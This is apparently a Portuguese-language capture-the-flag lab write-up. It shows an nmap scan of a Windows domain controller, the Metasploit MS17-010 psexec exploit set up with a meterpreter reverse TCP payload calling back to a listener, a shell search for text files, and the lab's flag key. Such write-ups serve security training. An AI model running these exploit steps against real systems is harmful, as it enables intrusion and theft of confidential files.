172.16.1.233

KEY: key{met45pl0it1337}

+ Quando fizemos a busca com o nmap pelas portas e serviços abertos, encontramos o seguinte:

```
db_nmap -v -sV --open -Pn 172.16.1.233
```

```
Nmap: PORT     STATE SERVICE       VERSION
Nmap: 53/tcp   open  domain        Simple DNS Plus
Nmap: 80/tcp   open  http          Microsoft IIS httpd 8.5
Nmap: 88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-02-05 17:21:44Z)
Nmap: 135/tcp  open  msrpc         Microsoft Windows RPC
Nmap: 139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
Nmap: 389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: DHCE.LOCAL, Site: Default-First-Site-Name)
Nmap: 445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: DHCE)
Nmap: 464/tcp  open  kpasswd5?
Nmap: 593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
Nmap: 636/tcp  open  tcpwrapped
Nmap: 3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: DHCE.LOCAL, Site: Default-First-Site-Name)
Nmap: 3269/tcp open  tcpwrapped
Nmap: 3389/tcp open  ssl/ms-wbt-server?
Nmap: 49155/tcp open  msrpc        Microsoft Windows RPC
Nmap: 49156/tcp open  msrpc        Microsoft Windows RPC
Nmap: 49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
Nmap: 49158/tcp open  unknown
```

→ Com isso, vendo a porta 445 aberta, vamos atacar o smb

+ Ao procurar exploits apropriados, encontramos o exploit/windows/smb/ms17_010_psexec no qual setamos o seguinte payload windows/meterpreter/reverse_tcp

+ Setamos as seguintes configurações:

```
DBGTRACE        false           yes       Show extra
LEAKATTEMPTS    99              yes       How many t
                                          ansaction
NAMEDPIPE                       no        A named pi
                                          ed to (lea
NAMED_PIPES     /usr/share/metasploi  yes  List of na
                t-framework/data/wor
                dlists/named_pipes.t
                xt
RHOSTS          172.16.1.233    yes       The target
                                          docs.metas
                                          etasploit/
                                          t.html
RPORT           445             yes       The Target
SERVICE_DESCRIPTION             no        Service de
                                          n target f
SERVICE_DISPLAY_NAM             no        The servic
E
SERVICE_NAME                    no        The servic
SHARE           ADMIN$          yes       The share
                                          an admin s
                                          r a normal
                                          re
SMBDomain       .               no        The Window
                                          thenticati
SMBPass                         no        The passwo
                                          sername
SMBUser                         no        The userna

ayload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted:
                                     ss, none)
LHOST     172.20.1.182     yes       The listen address (an int
                                     d)
LPORT     443              yes       The listen port
```

+ E daí demos um exploit pra ele começar a funcionar e deu certo.

+ Quando iniciou, demos o comando shell pra que ele nos levasse direto pra shell do windows e lá retornamos até a raiz com o cd / e depois pequisamos por arquivos txt da seguinte forma

```
dir /s /b C:\*.txt
```

/s pesquisa por subdiretórios

/b mostra apenas o caminho do arquivo

+ Até que achamos um com chances altas:

```
C:\Users\Administrator\AppData\Roaming\Mozilla\Fi
C:\Users\Administrator\Desktop\confidencial.txt
C:\Users\All Users\VMware\VMware CAF\pme\data\inp
```

+ Fomos até lá e abrimos o documento com o type, pelo fato de o comando cat não funcionar no nosso acesso do windows

```
C:\Users\Administrator\Desktop>type confidencial.txt
type confidencial.txt
Muito bem!

Use a key para pontuar no vlab.

key{met45pl0it1337}
```